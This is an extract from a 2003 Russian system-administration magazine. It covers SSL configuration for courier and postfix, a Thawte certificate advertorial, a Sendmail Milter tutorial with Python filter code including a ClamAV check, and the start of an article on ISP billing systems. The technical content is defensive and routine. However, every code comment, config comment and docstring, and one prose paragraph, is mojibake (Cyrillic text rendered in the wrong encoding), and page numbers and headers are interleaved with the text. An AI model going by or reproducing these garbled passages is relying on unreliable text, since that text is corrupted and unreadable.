# À âîò ýòî òà ñàìàÿ îïöèÿ àóòåíòèôèêàöèè ÷åðåç ñåðòèôèêàòû, # îíà ìîæåò ïðèíèìàòü ñëåäóþùèå çíà÷åíèÿ: # NONE - íå ïðîâåðÿåì ñåðòèôèêàò êëèåíòà âîâñå. # PEER - ïðîâåðÿåì ñåðòèôèêàò êëèåíòà, åñëè ïîñëåäíèé # ïåðåäàë åãî ñåðâåðó. # REQUIREPEER - ïðîâåðÿåì ñåðòèôèêàò êëèåíòà è çàïðåùàåì # âõîä, åñëè êëèåíò íå ïðåäîñòàâèë ñåðòèôèêàòà # (èëè ñåðòèôèêàò íåâåðíûé). TLS_VERIFYPEER=NONE

Думаю, что дальнейшая настройка курьера не должна вызвать проблем (courier – один из самых простых в настройке почтовых служб, т.к. все переменные внутри его конфигов фактически имеют тот же синтаксис, что и переменные в shell). Другой популярный мыльный сервер – postfix – также легко поддаётся бронированию с помощью ssl. Сразу же приведу пример настройки smtpd postfixa, который использует при передаче почты механизм ssl: main.cf: # Ñîçäà¸ì ñòàíäàðòíûé ñåðâåðíûé ñåðòèôèêàò (êàê áûëî óæå # íåñêîëüêî ðàç îïèñàíî) è íåçàøèôðîâàííûé ñåêðåòíûé êëþ÷. # Óêàçûâàåì äàëåå ê íèì ïóòü. smtpd_tls_cert_file = /etc/openssl/smtpd.pem smtpd_tls_key_file = /etc/openssl/smtpd.key # Óêàçûâàåì òàêæå ïóòü ê trusted root CA ôàéëó (pem-ôîðìàò) # Ìîæíî òàêæå óêàçàòü ïóòü ê êàòàëîãó ñ CA-ñåðòèôèêàòàìè, # íî òóò âîçíèêàþò ïðîáëåìû ñ õåø-ôàéëàìè (ÿ èõ óæå # îïèñûâàë ïðè ðàçãîâîðå îá àïà÷å). smtpd_tls_CAfile = /etc/openssl/ca.pem # Óðîâåíü çàïèñè â ëîã. Ìåíÿåòñÿ îò 0 äî 4: # 0 – çàáèâàåì íà ëîãè; # 1 – âûâîäèì èíôîðìàöèþ î ñåðòèôèêàòàõ ïðè óñòàíîâêå # ñîåäèíåíèÿ; # 2,3,4 – ðàçëè÷íàÿ äîïîëíèòåëüíàÿ èíôà (âðîäå hex-äàìïîâ # ïàêåòîâ è.ò.ä.). # Ðåêîìåíäóåòñÿ èñïîëüçîâàòü çíà÷åíèå 1 èëè 2. smtpd_tls_loglevel = 1 # Ïî óìîë÷àíèþ ìåõàíèçì ssl íå âêëþ÷¸í – âêëþ÷àåì åãî. smtpd_use_tls = yes # # # # # #

Óñòàíîâêîé ñëåäóþùåé îïöèè â yes (ïî óìîë÷àíèþ - no) ìîæíî äîáèòüñÿ òîãî, ÷òî âñå êîìàíäû smtp-ñåðâåðà áóäóò âûïîëíÿòüñÿ â ssl-ðåæèìå (ýòî íå ïîäõîäèò äëÿ ñåðâåðîâ, êîòîðûå ïðåäîñòàâëÿþò îáå óñëóãè: çàùèù¸ííîå ìûëî è ñòàíäàðòíîå). smtpd_enforce_tls = no

# # # # # # #

Çàïðîñ íà ñåðòèôèêàò êëèåíòà. ß çäåñü íå áóäó îñòàíàâëèâàòüñÿ, ò.ê. âðÿä ëè êòî áóäåò ïðèìåíÿòü ýòîò óæàñ (òåì áîëåå, ÿ íå âèäåë íè îäíîãî êëèåíòà, ñïîñîáíîãî âûïîëíèòü àóòåíòèôèêàöèþ ïî ñåðòèôèêàòó). Ïîýòîìó ëó÷øå îñòàâèòü ýòó îïöèþ ïî óìîë÷àíèþ â no (ýòî òàêæå êàñàåòñÿ è îïöèè smtpd_tls_req_ccert). smtpd_tls_ask_ccert = no

# Äëÿ ñîâìåñòèìîñòè ñî ñòàðûìè âåðñèÿìè postfix ïðèíèìàåòñÿ

36

# # # # # #

êîìàíäà AUTH áåç øèôðîâàíèÿ, ÷òî ñîçäà¸ò óãðîçó áåçîïàñíîñòè, óñòàíîâêà ñëåäóþùåé îïöèè â yes ãîâîðèò, ÷òî øèôðîâàíèå áóäåò ïðîèçâîäèòüñÿ òîëüêî äëÿ êîìàíäû AUTH. Äëÿ ïîëíîãî øèôðîâàíèÿ âñåãî òðàôèêà èñïîëüçóéòå îïöèþ smtpd_enforce_tls. smtpd_tls_auth_only = no

# Ôàéë êåøà ssl äëÿ ñåðâåðà. Ïîääåðæèâàåòñÿ òîëüêî ôîðìàò # sdbm, ò.ê. íåîáõîäèìà ïîääåðæêà îäíîâðåìåííîé çàïèñè # íåñêîëüêèõ ïðîöåññîâ â äàííûé ôàéë. smtpd_tls_session_cache_database = sdbm:/etc/postfix/ smtpd_scache # Òàéì-àóò äëÿ êåøà. smtpd_tls_session_cache_timeout = 3600s # Òðàäèöèîííûé ñïèñîê èñïîëüçóåìûõ àëãîðèòìîâ. # smtpd_tls_cipherlist = DEFAULT # Òàéì-àóò äëèòåëüíîñòè ñîåäèíåíèÿ ss. smtpd_starttls_timeout = 270s # Óñòàíîâêè ãåíåðàòîðà ñëó÷àéíûõ ÷èñåë. Èñïîëüçóþòñÿ # ñòàíäàðòíûå óñòðîéñòâà ðàíäîìèçàöèè èëè egd-ãåíåðàòîð. # Óñòàíàâëèâàòüñÿ ìîæåò òàêæå ÷èñëî ñ÷èòûâàåìûõ áàéò è # âðåìÿ îáíîâëåíèÿ óñòàíîâêè ãåíåðàòîðà ñëó÷àéíûõ ÷èñåë. tls_random_source = dev:/dev/urandom

Также необходимо создать запись в master.cf, чтобы указать postfix слушать smtps-порт (кроме этого, заставляем на порту smtps использовать полную шифрацию передаваемого трафика): # tls_random_source = egd:/var/run/egd-pool # tls_random_bytes = 32 # tls_random_reseed_period = 3600s

Вместо имени сервиса можно указать номер порта (обычно 465). Sendmail также обладает возможностью использования ssl, но я не являюсь специалистом по sendmail (наверное, виной тому паталогическая лень и наличие более простых в освоении инструментов). SSL, похоже, будет всё больше и больше использоваться в сети, защищая стандартные протоколы. Поэтому каждый администратор должен знать принципы работы с ssl. И если я помог кому-то в освоении данной темы, то могу считать свою задачу выполненной! Приведу некоторые ссылки: http://www.openssl.org – основной сайт с документацией и исходниками openssl; http://www.apache-ssl.org – домашняя страница mod_ssl апача; http//www.postfix.org – страница производителей postfix; http://www.lothar.com/tech/crypto/ – страница генератора случайностей EGD; http://www.thawte.com – одна из коммерческих фирм, торгующих сертификатами, предоставляет бесплатные сертификаты для мыла и платные для всего остального. И ещё информация для тех, кто решил работать с ssl: не так давно в механизме openssl были обнаружены уязвимости, поэтому не поленитесь сходить на www.openssl.org за последними патчами.


БЕЗОПАСНОСТЬ ИНТЕРНЕТ-КОММЕРЦИИ Традиционные протоколы Интернета (например, HTTP – основной протокол для передачи страниц WWW) не обеспечивают практически никакой защиты информации на пути от сервера к клиенту и обратно. Злоумышленники довольно легко могут перехватывать информационные пакеты, искажать содержащиеся в них данные и даже перенаправлять весь информационный обмен с клиентом на поддельный сервер, имитирующий работу сервера вашей компании. В результате частная информация клиента (например, данные его кредитной карты) может стать достоянием постороннего, а сделки, совершенные с участием подставного сервера – предметом споров. Учитывая это, многие пользователи, совершающие сделки через Интернет, просто отказываются от работы с сайтом, не обеспечивающим необходимого уровня защиты он-лайновых транзакций.

С другой стороны, пользователь сайта, поддерживающего безопасный протокол SSL и имеющего цифровой сертификат от Thawte, может быть уверен: в подлинности (аутентичности) сайта: просматриваемая пользователем страница получена именно с указанного адреса, а сам сайт действительно принадлежит компании, на имя которой выдан сертификат; в целостности информации: за время передачи данных через Интернет они не могут быть изменены или испорчены; в приватности информации: за счет использования шифрования данных, передаваемых между клиентом и сервером, их содержание не станет доступно посторонним.

№2(3), февраль 2003

При этом процесс аутентификации полностью «прозрачен» для пользователя, т.е. не требует от него специальных знаний или каких-либо действий, отличающихся от обычной работы с интернет-браузером. Протокол SSL в настоящее время поддерживается большинством браузеров, включая Microsoft Internet Explorer, Netscape Navigator, Opera и Mozilla. О работе через безопасное соединение с использованием цифрового сертификата в этих программах говорит специальный индикатор в строке статуса.

В сертификатах использована удобная в обращении и высоконадежная технология криптозащиты с двойным ключом длиной до 128 бит, причем использование Суперсертификатов позволяет применять ее даже в старых и международных версиях браузеров, имеющих ограничения по длине ключа. Многие российские компании, предоставляющие различные сервисы через Интернет, а также большое количество банков и иных финансовых структур уже давно пользуются цифровыми сертификатами Thawte для обеспечения безопасности информационного обмена со своими клиентами. В России пионером по предоставлению цифровых сертификатов стала три года назад компания «РБК-Софт», входящая в группу компаний «РосБизнесКонсалтинг» – единственный представитель компании Thawte на территории Российской федерации, СНГ и стран Балтии.

37


администрирование

ПОЧТОВЫЙ ФИЛЬТР ИЛИ MILTER = MAIL + FILTER В версии Sendmail 8.11.6 появилось нововведение, которое приоткрывает дверцу над таинственными процессами по обработке почтовых сообщений. И эта дверца – программный интерфейс фильтров по содержанию (content filter API, или, коротко, Milter) – очень существенный элемент для организации обработки почты в масштабах всего почтового сервера.

РОМАН СУЗИ


администрирование Если для индивидуальной настройки доставки почты в UNIX-системах обычно применяется procmail, то для обработки всей проходящей через сервер почты Milter подходит как нельзя кстати. Для большей эффективности рекомендуется применять версию Sendmail 8.12. Главными применениями Milter можно считать: отклонение писем со спамом; организация проверки на вирусы; обезвреживание опасных вложений; фильтрация по содержимому; организация нестандартной обработки и сортировки почты. Еще раз отметим, что Milter дает доступ не только ко входящим письмам, но и к исходящим. Это позволяет предотвращать злоупотребления почтовым сервером со стороны местных пользователей. Одной из очень полезных особенностей Milter является его большая эффективность по сравнению с другими средствами обработки почты. Во-первых, Milter дает приложению-фильтру доступ к информации о сообщении на очень ранних стадиях его получения Sendmail: с помощью Milter приложение-фильтр получает атрибуты SMTP-команд вместе с Sendmail, что позволяет отклонять сообщения, еще не получив их в полном объеме. Во-вторых, Milter поддерживает многопоточность, что позволяет иметь всего один экземпляр приложения-фильтра, а не запускать приложение для каждого сообщения (как это делает procmail). В-третьих, подключение Milter-приложения к Sendmail можно сделать достаточно безопасным, определив требуемую реакцию Sendmail на тот случай, если приложение-фильтр не отвечает. Наконец, приложение-фильтр может находиться на другой машине, общаясь с почтовым сервером по TCP/IP. Кстати, фильтр может быть не один. Крючки (hooks) к Milter API имеются для многих известных антивирусных и антиспамовых программ. Есть, конечно, у Milter и минусы. Во-первых, он работает только с Sendmail. Во-вторых, в нем не очень удобно (хотя и возможно) реализовать фильтрацию на основе индивидуальных настроек пользователей, как это имеет место с procmail. Sendmail и приложение-фильтр общаются через сокет. Это может быть сокет в файловой системе, IP-сокет (или IPv6-сокет). Первый более эффективен, если обработка почты происходит на локальной машине, а второй позволяет вынести фильтрацию почты на другую машину (или машины). Например, один хост может быть целиком задействован для фильтрации спама, другой – проверять сообщения на вирусы, а третий – анализировать соответствие содержимого почтовых сообщений принятой политике (скажем, образовательное учреждение может фильтровать письма сомнительного содержания). На любом этапе Milter может пропустить (ACCEPT), отклонить (REJECT) или выбросить (DROP) обрабатываемое сообщение. Milter также может менять список получателей письма, изменять заголовочную часть и тело. При отклонении письма можно указать его детальную причину. Sendmail написан на C, и поэтому Milter API ориенти-

№2(3), февраль 2003

рован на C-приложения. Однако пример, который мы рассмотрим ниже, использует Python Milter – обертку Milter API для языка Python. Эта обертка – полноценный объектный интерфейс к обрабатываемому SMTP-соединению. Отметим, что использование интерпретатора скриптового языка существенно не влияет на производительность приложения, так как приложение работает в режиме демона. Зато мы получаем большой выигрыш в выражении логики приложения-фильтра и доступ к богатым стандартным библиотекам Python. Чтобы использовать приложения-фильтры, нужно скомпилировать Sendmail с поддержкой Milter API. Как это сделать, описано в документации к Sendmail. В частности, необходимо указать в файле devtools/Site/ site.config.m4 опцию: APPENDDEF(“conf_sendmail_ENVDEF”, “-DMILTER”)

Для нашего примера понадобится Python 2.x и Python Milter. Первый можно взять на www.python.org, а второй – на http://www.bmsi.com/python/milter.html. Его необходимо скомпилировать, использовав библиотеки соответствующей версии Sendmail. Подробнее об этом написано в документации к Python Milter. Возможно, потребуется дополнительно установить заголовочные файлы и библиотеки libmilter и smutil – конкретнее об этом сказано на указанной выше www-странице. [Мне даже приходилось переименовывать libsmutil в libsm – прим. автора]. В результате компиляции Python Milter должен получиться файл milter.so, который вместе с mime.py и Milter.py нужно поместить в каталог с другими модулями Python. Python Milter имеет в своем составе два законченных примера, однако подходящий именно вам фильтр лучше составить самому. Приведенный ниже пример (листинг 1) Milter поможет вам разобраться в Milter API. Конечно, это не законченный продукт, а скорее конструктор, который нужно доработать, добавив требуемую вам логику. В этой небольшой программе описывается класс ExampleMilter, основанный на классе Milter из модуля Milter. Для каждого SMTP-соединения создается новый объект класса ExampleMilter. Отдельные методы этого объекта отвечают за обработку определенных событий (см. комментарии в тексте программы). Вся информация, касающаяся определенного соединения, должна храниться в атрибутах объекта. В нашем примере так накапливается и хранится bodysize (размер тела сообщения) и некоторые вспомогательные объекты. (В Python сам объект передается в метод в качестве первого аргумента и традиционно называется self, поэтому для работы с атрибутами внутри метода нужно использовать self.имя_атрибута. Кстати, в Python новые атрибуты могут появляться в объекте в любой удобный момент.) Здесь следует заметить, что методы вызываются в определенной последовательности, и нет гарантии, что для данного соединения будет вызван тот или иной метод. Например, следом за hello() может сразу последовать abort(). Это обстоятельство необходимо учитывать при

39


администрирование #!/usr/bin/python2 """ Ïðèìåð Milter, íà îñíîâå êîòîðîãî ìîæíî íàïèñàòü ñîáñòâåííûé ôèëüòð äëÿ ïî÷òû. """ import sys, os, Milter, tempfile, re, traceback from time import strftime, time, localtime def dbg_except(): """Ôóíêöèÿ, êîòîðóþ ìîæíî ñòàâèòü â ÷àñòè except: îïåðàòîðà try-except äëÿ îòëàäêè """ sys.stderr.write(strftime(“%Y%m%d%H%M%S “) + "".join(apply(traceback.format_exception, sys.exc_info()))) class ExampleMilter(Milter.Milter): """Êëàññ, êàæäûé îáúåêò êîòîðîãî îòâå÷àåò çà îäíî ñîåäèíåíèå.""" def log(self, *msg): print "%s [%d] %s" % (strftime(“%Y%m%d%H%M%S”), self.id, " ".join(map(str, msg))) def __init__(self): self.tempname=self.mailfrom=self.connfrom=self.fp=None self.id = Milter.uniqueID() def connect(self, hostname, unused, hostaddr): """Âûçûâàåòñÿ ïðè óñòàíîâêå SMTP-ñîåäèíåíèÿ""" self.log("connect: %s, %s" % (hostname, hostaddr)) # Çäåñü ìîæíî ñðàçó ïðîâåðèòü è îòêëîíèòü: # return Milter.REJECT return Milter.CONTINUE def hello(self,hostname): """Âûçûâàåòñÿ ïîñëå êîìàíäû HELO""" self.log("hello from %s" % hostname) return Milter.CONTINUE def envfrom(self, f, *s): """Âûçûâàåòñÿ ïîñëå êîìàíäû MAIL FROM (èõ ìîæåò áûòü íåñêîëüêî â ðàìêàõ îäíîãî ñîåäèíåíèÿ). Îòìå÷àåò íà÷àëî ñîîáùåíèÿ.""" self.log("mail from", f, s) self.tempname = None self.mailfrom = f self.headers = [] self.bodysize = 0 return Milter.CONTINUE def envrcpt(self, to, *s): """Âûçûâàåòñÿ ïîñëå êîìàíäû RCPT TO (èõ ìîæåò áûòü íåñêîëüêî äëÿ êàæäîãî ñîîáùåíèÿ). """ self.log("rcpt to", to, s) return Milter.CONTINUE def header(self, name, val): """Âûçûâàåòñÿ äëÿ êàæäîãî ïîëÿ çàãîëîâêà ñîîáùåíèÿ """ # çàïèñàòü ïîëå â ñïèñîê self.headers.append("%s: %s" % (name, val)) lname = name.lower() if lname in (“subject”, “from”, “to”): self.log(“%s: %s” % (lname, val)) return Milter.CONTINUE def eoh(self): """Âûçûâàåòñÿ ïî îêîí÷àíèè îáðàáîòêè çàãîëîâêà """ # Íà÷èíàåì çàïèñûâàòü ñîîáùåíèå âî âðåìåííûé # ôàéë. Ñíà÷àëà çàãîëîâêè self.tempname = tempfile.mktemp(".milter.tmp") self.fp = open(self.tempname, "w+b") self.fp.write("\n".join(self.headers) + "\n\n") return Milter.CONTINUE def body(self, chunk):

написании своего фильтра, как и то, что в рамках одного соединения может быть обработано несколько сообщений. В силу чего требуется правильно инициализировать имена: те, что относятся ко всему соединению, нужно инициализировать в connect(), а относящиеся к конк-

40

ëèñòèíã ¹1 """Âûçûâàåòñÿ äëÿ êàæäîãî ôðàãìåíòà òåëà ñîîáùåíèÿ """ # Òåëî ñîîáùåíèÿ ïî êóñî÷êàì ïèøåòñÿ â òîò æå ôàéë if self.fp: self.fp.write(chunk) self.bodysize += len(chunk) return Milter.CONTINUE def eom(self): """Âûçûâàåòñÿ â êîíöå êàæäîãî ñîîáùåíèÿ """ # Çàêðûâàåì âðåìåííûé ôàéë (åñëè îí åñòü) if self.fp: self.fp.close() else: return Milter.TEMPFAIL # Çäåñü ìîæíî äåëàòü âñåâîçìîæíûå ïðîâåðêè # è âûçûâàòü ñëåäóþùèå ìåòîäû: # Óäàëèòü ïîëó÷àòåëÿ: # self.delrcpt("<user1@host.ru>") # Äîáàâèòü ïîëó÷àòåëÿ: # self.addrcpt("<user2@host.ru>") # Äîáàâèòü ïîëå â çàãîëîâîê: # self.addheader("X-Processed-By", "Milter") # ...è äðóãîå (ñì. äîêóìåíòàöèþ ê Milter) # Çàìåíèòü òåëî ñîîáùåíèÿ (ïîêóñî÷íî): # for c in chunks: # self.replacebody(c) # Îòêëîíèòü ñîîáùåíèå (ñ óêàçàíèåì ïðè÷èíû): # self.setreply(“550”, “5.1.1”, “SPAM”) # return Milter.REJECT # Îòáðîñèòü ñîîáùåíèå: # return Milter.DROP # Ïðèíÿòü ñîîáùåíèå: self.log(“msg accepted: size=%s” % self.bodysize) return Milter.ACCEPT def abort(self): """Âûçûâàåòñÿ â ñëó÷àå íåíîðìàëüíîãî çàâåðøåíèÿ ñîåäèíåíèÿ """ self.log("abort. Size=%d" % self.bodysize) return Milter.CONTINUE def close(self): """Âûçûâàåòñÿ â êîíöå ñîåäèíåíèÿ, äàæå åñëè îíî áûëî ïðåðâàíî """ self.log("connection closed.") sys.stdout.flush() if self.fp: self.fp.close() self.fp = None if self.tempname: os.remove(self.tempname) self.tempname = None return Milter.CONTINUE if __name__ == "__main__": os.chdir("/home/milter") tempfile.tempdir = "/var/tmp" socketname = "inet:2525@milter.host.ru" timeout = 240 # ñåêóíä Milter.factory = ExampleMilter Milter.set_flags(Milter.CHGBODY + Milter.CHGHDRS + Milter.ADDHDRS + Milter.DELRCPT + Milter.ADDRCPT) print """Example Milter start""" sys.stdout.flush() Milter.runmilter("mainfilter", socketname, timeout) print """Example Milter shutdown"""

ретному сообщению – в envfrom(). Соответственно, конечной точкой использования таких имен должны быть методы close() и eom(). На любом этапе работы фильтра можно решить судьбу сообщения, возвратив Milter.REJECT (отклонить),


администрирование ëèñòèíã ¹2 def eom(self): """Îáðàáîòêà ñîîáùåíèÿ: ïðîâåðêà íà âèðóñû ñ ïîìîùüþ àíòèâèðóñà ClamAV""" # Çàêðûâàåì âðåìåííûé ôàéë (åñëè îí åñòü) if self.fp: self.fp.close() else: return Milter.TEMPFAIL try: clam=os.popen("clamscanm <%s"%self.tempname,"r").read() if clam.find("FOUND") != -1: self.log(“virus rejected: %s” % clam) self.setreply(“550”,’5.1.1',’VIRUS FOUND %s’ % clam) return Milter.REJECT except: dbg_except() self.log(“msg accepted: size=%s” % self.bodysize) return Milter.ACCEPT

Milter.ACCEPT (принять), Milter.DROP (выбросить) или продолжить обработку – Milter.CONTINUE. В методе eom() можно менять некоторые свойства обрабатываемого сообщения (см. комментарии в листинге 1). Напомним, что состав получателей не обязательно соответствует содержимому полей To, Cc, Bcc, так как эти данные передаются отдельными командами протокола SMTP. Для включения фильтра необходимо добавить примерно следующие две строки к файлу sendmail.mc: MAIL_FILTER(`mainfilter', `S=inet:2525@milter.host.ru, T=C:10m;S:30s;R:30s;E:10m') define(`confINPUT_MAIL_FILTERS', `mainfilter')

Здесь milter.host.ru и 2525 – хост, на котором запущен Milter, и порт (номер выбран произвольно). Если вы привыкли напрямую править sendmail.cf (что очень не рекомендуется), то в него нужно добавить следующее: O InputMailFilters=mainfilter #O Milter.LogLevel O Milter.macros.connect=j, _, {daemon_name}, {if_name}, {if_addr} O Milter.macros.helo={tls_version}, {cipher}, {cipher_bits}, {cert_subject}, {cert_issuer} O Milter.macros.envfrom=i, {auth_type}, {auth_authen}, {auth_ssf}, {auth_author}, {mail_mailer}, {mail_host}, {mail_addr} O Milter.macros.envrcpt={rcpt_mailer}, {rcpt_host}, {rcpt_addr} Xfilteronegoru, S=inet:2525@milter.host.ru, T=C:10m;S:30s;R:30s;E:10m

Описание каждого фильтра в файле конфигурации Sendmail может сопровождаться тремя опциями: F, S и T. Если опция F не задана, то проблемы с фильтром безболезненны для доставляемого Sendmail сообщения. Если F=T, неработоспособность фильтра приводит к временной неудаче (temporary fail) доставки сообщения. Если F=R и фильтр недоступен, сообщение отвергается (reject). В опции S указывается адрес фильтра, имеющий один из приведенных ниже форматов: S=local:ïóòü S=inet:ïîðò@õîñò S=inet6:ïîðò@õîñò

Здесь путь – путь к UNIX-сокету в локальной файловой системе, остальные – IP-сокеты на некотором хосте. Опции Т задают таймауты. C – таймаут соединения с фильтром; S – таймаут при передаче информации от Sendmail фильтру; R – таймаут при ожидании ответа фильтра; E – таймаут ожидания окончательного подтвержде-

№2(3), февраль 2003

ния от момента передачи конца сообщения фильтру. В случае использования двух фильтров фрагмент исходного файла конфигурации Sendmail будет выглядеть так: MAIL_FILTER(`mainfilter', `S=inet:2525@milter.host.ru, T=C:10m;S:30s;R:30s;E:10m') MAIL_FILTER(`filter2', `S=inet:2626@milter.host.ru, T=C:10m;S:30s;R:30s;E:10m') define(`confINPUT_MAIL_FILTERS', `mainfilter,filter2')

Информация на фильтры посылается в порядке их описания. Следующий алгоритм взаимодействия Sendmail и Milter приведен в документации к Sendmail: Äëÿ êàæäîãî ñîåäèíåíèÿ: Äëÿ êàæäîãî ôèëüòðà: Âûçâàòü connect() Âûçâàòü hello() Äëÿ êàæäîãî ñîîáùåíèÿ (ïîñëåäîâàòåëüíî): Äëÿ êàæäîãî ôèëüòðà: Âûçâàòü envfrom() Äëÿ êàæäîãî ïîëó÷àòåëÿ: Äëÿ êàæäîãî ôèëüòðà: Âûçâàòü envrcpt() Äëÿ êàæäîãî ôèëüòðà: Äëÿ êàæäîãî ïîëÿ çàãîëîâêà: Âûçâàòü header() Âûçâàòü eoh() Äëÿ êàæäîãî ôðàãìåíòà òåëà: Âûçâàòü body() Âûçâàòü eom() Äëÿ êàæäîãî ôèëüòðà: Âûçâàòü close()

Примечание: при обрыве соединения на любой стадии и по инициативе любого агента вызывается abort() и close(). В листинге 2 приведен вариант метода eom(), с помощью которого можно вызывать из Milter произвольные программы для проверки сообщения (например, на спам и вирусы). В этом методе вызывается программа clamscanm, принимающая файл на стандартный ввод и выводящая результат на стандартный вывод. Результат читается методом read() целиком и анализируется на присутствие подстроки «FOUND». Если есть такая строка, Milter устанавливает причину отказа методом setreply, пишет в лог и отклоняет сообщение. Так как все это происходит при установленном SMTP-соединении, отправитель получит «отлуп» сразу. Аналогично можно проверять почту на спам. Следует отметить, что в процессе эксплуатации неаккуратно запрограммированный Milter может оставлять за собой временные файлы. Следующая небольшая программа на Python стирает оставленные Milter устаревшие файлы из каталога /var/tmp: #!/usr/bin/python import os, glob, time, stat recent = time.time() - 60*20 # 20 min for fl in glob.glob(“/var/tmp/ *.tmp”): try: if os.stat(fl)[stat.ST_MTIME] < recent: os.unlink(fl) except: pass

Итак, Milter дает нам полный контроль над передачей сообщений на самом раннем этапе – этапе входящего SMTP-соединения. Фильтры можно писать на C/C++, Perl и других языках, тем не менее Python Milter отлично справляется с задачей.

41


администрирование

СОЗДАНИЕ ПРОСТЕЙШЕЙ БИЛЛИНГОВОЙ СИСТЕМЫ Наверное, хотя бы один раз в жизни каждому из нас приходилось покупать Интернет по Dial-Up. А раз так, то каждый из нас сталкивался с биллинговой системой: подсчетом количества времени, трафика (мегабайт) и денег.

ДЕНИС МЯСНИЧЕНКО


администрирование В сумме весь данный комплекс программ и называется биллинговой системой. Но биллинговые системы используются не только у интернетсервис-провайдеров (Internet Service Provider). Если на вашей АТС поминутная оплата переговоров по коммутируемой линии, то на этой АТС также обязательно должна работать биллинговая система. Если вы пользуетесь мобильным телефоном, то у компании-провайдера телефонных услуг также существует огромный комплекс биллинговых программ. В нашем контексте (для ИСП) «биллинговая система» имеет смысл как комплекс программ для учета количества секунд и байт, затраченных пользователем в Интернете. Вы можете спросить, почему же именно секунд и байт? Очень просто – это базовые единицы измерения. Ведь именно из секунд мы можем получить остальные значения: минуты, часы, сутки и так далее; из байт – килобайты, мегабайты и т. д. «А деньги?» – возразите вы. Да, все правильно, но исходя из секунд и байт, вы сможете, установив тариф, получить деньги. Биллинговые системы бывают разные, их можно примерно разделить по нескольким признакам: под какую операционную систему написан данный биллинг (Windows, Unix, Linux, OS/2 и т. д.); по какому принципу данный комплекс работает (принцип «счетчика», принцип «снифера», принцип «анализа log-файлов» и т. д.); как именно написан комплекс программ в самой системе биллинга (бинарные файлы, скриптовые файлы и т. д.). Вы вправе не согласиться с такой классификацией и выделить еще несколько признаков. Например, такой: вид вывода информации. Но автор намеренно решил не относить данный признак к так называемым «основным», так как нет единого стандарта на вывод информации. Новичкам нагляднее будет рабочая программа под управлением MS Windows, для опытных системных администраторов предпочтительнее будет увидеть консольную

№2(3), февраль 2003

программу под управлением Unix – но в итоге можно спорить сколько угодно и не прийти к единому мнению. Единственной альтернативой будет использование платформы Web и, как следствие, использование программы apache web server, а в самой программе – генерация html-страниц для показа через Сеть.

Анализ биллинговых систем на рынке софта Если вы решили приобрести уже готовый биллинг, для начала определитесь: что именно вам нужно. Для некоторых провайдеров может быть выгоднее купить уже готовый комплекс биллинговых программ, нежели писать их самим, для этого сделаем небольшой анализ рынка биллинговых систем. На нашем рынке программного обеспечения вы можете найти практически любые биллинги, их разрабатывают многие компании, но очень мало кто может позволить себе купить данные программные продукты в силу их огромной стоимости. Например, биллинговые системы для телефонных компаний стоят начиная от $500000. А это уже совершенно другой уровень, нежели компании интернет-провайдера, тут биллинг можно приобрести и за $200. Но все упирается в то, что именно будет делать данный биллинг! В среднем цена достаточно хорошего биллинга колеблется от $500 до $5000 для компаний ИСП. И как вы понимаете, за разные суммы создаются и разные биллинги. Биллинги также могут либо работать с определенным оборудованием, либо нет. Например, если вы приобрели себе оборудование модемного пула Cisco – это уже дополнительное оборудование к обычному компьютеру, и, как следствие, возрастает цена минимального биллинга с $200 до $500. Так же имеются нюансы юридического плана. Если вы покупаете биллинговую систему у компании с гарантией или ответственностью компании перед вами, то в зависимости от договора цена может возрасти от двух до десятков раз. Если же вы заказываете создание биллинга у программиста или группы программистов (для ускорения напи-

сание системы), то зачастую вы получаете готовую систему, но если чтото пойдет не так, вы будете отвечать перед вашими клиентами сами. Есть еще нюанс. Компании всегда предоставляют уже готовую систему, с одной стороны, это очень удобно, к вам приедут знающие специалисты и создадут всю систему «под ключ» буквально за несколько дней, но есть и обратная сторона медали: биллинговая система будет у вас не уникальная, а это в свою очередь значит, что вас смогут «взломать». Так как опытные хакеры могут найти одну «дыру» в системе и, соответственно, могут взломать и все подобные системы. В данном случае даже самая простая, но уникальная система будет в огромном выигрыше, т.к. ни у кого больше такой нет. Итак, несколько замечаний по поводу выбора программ биллинга в зависимости от того, что именно вам надо подсчитывать и каким именно оборудованием вы можете располагать. Но нельзя считать взгляд автора единственным и непогрешимым, тем более в области информационных технологий можно одно и то же сделать многими способами. Если вам надо подсчитывать время пребывания пользователя на модемном пуле по коммутируемой линии, то вам легче всего будет заказать биллинг у программиста. Это дешево (около $200); система будет формировать свои выводы в виде html-страниц как единственного универсального средства отображения информации. Причем за $200 вы получите готовый уникальный биллинг. Если же вы хотите организовать биллинг на принципе анализа log-файлов, то данный комплекс программ будет еще дешевле – около $100-150. Данные биллинги будут работать практически на любом оборудовании, все зависит от того, что именно вы поставите как модемный пул. Для маленькой компании интернет-сервиспровайдера автор советует приобрести расширитель COM-портов, так как на один компьютер архитектуры PC можно поставить не более 2 портов. Компьютер класса более чем 486DX/ 16 RAM/1.2 Gb HDD – это для биллингсервера, но при этом вам придется поставить отдельно веб-сервер на дру-

43


администрирование гом компьютере, либо увеличить производительность данного компьютера. Создание биллинг-комплекса с использованием дополнительного оборудования, например, модемного пула Cisco, сразу увеличит ваши затраты, но, с другой стороны, если у вас есть деньги на такую дорогую аппаратуру, то вам уже не страшно будет услышать цены на данные комплексы. По данным сети IRC только модуль снятия статистики с аппаратуры Cisco будет стоить от $200 до $1000, не учитывая саму биллинг-статистику. Данный вид биллинга автор советует заказывать уже не программисту-одиночке, а команде программистов. Это будет более дешевый выход. В зависимости от принципа снятия статистики очень варьируется стоимость разработки системы. Использование принципа скриптов – один из самых «дешевых» принципов. Но он имеет массу недостатков, а главное – он не может показать статистику в режиме реального времени. Его цена колеблется от $200 до $500. Принцип «снифера» заключается в создании программы, которая будет анализировать и считать все пакеты на данном компьютере. Для этого уже нужна более высокая производительность компьютера, нежели на принципе «скриптов»: около (P-MMX-166/64 RAM/ 4Gb HDD). Так как в режиме реального времени некая программа-демон будет работать на уровне ядра или на уровне пользовательских программ по терминологии операционной системы Linux. А при большом трафике, около 40 Мбит в секунду и выше, понадобится еще большая производительная мощность компьютеров. В любом случае настройка программ-серверов и компьютеров-серверов – это отдельная сумма. Т.е. автор приводит цены, исходя из данных Интернета (irc.tsua.net, канал #billing). Цены в разных регионах могут отличаться и очень сильно за счет «выезда к клиенту» и т. д., в статье цены приводятся «чистые», т.е. телеработа, без выезда к клиенту, клиент сам устанавливает комплекс на своем оборудовании. В любом случае вы мо-

44

жете зайти в сеть IRC на канал, посвященный биллинговым системам и получить помощь или консультацию. Данная статья не претендует на полное описание всех возможных биллингов, все их описать в одной статье невозможно. Темой данной статьи является создание простейшего биллинга для маленького новоиспеченного интернет-сервис-провайдера.

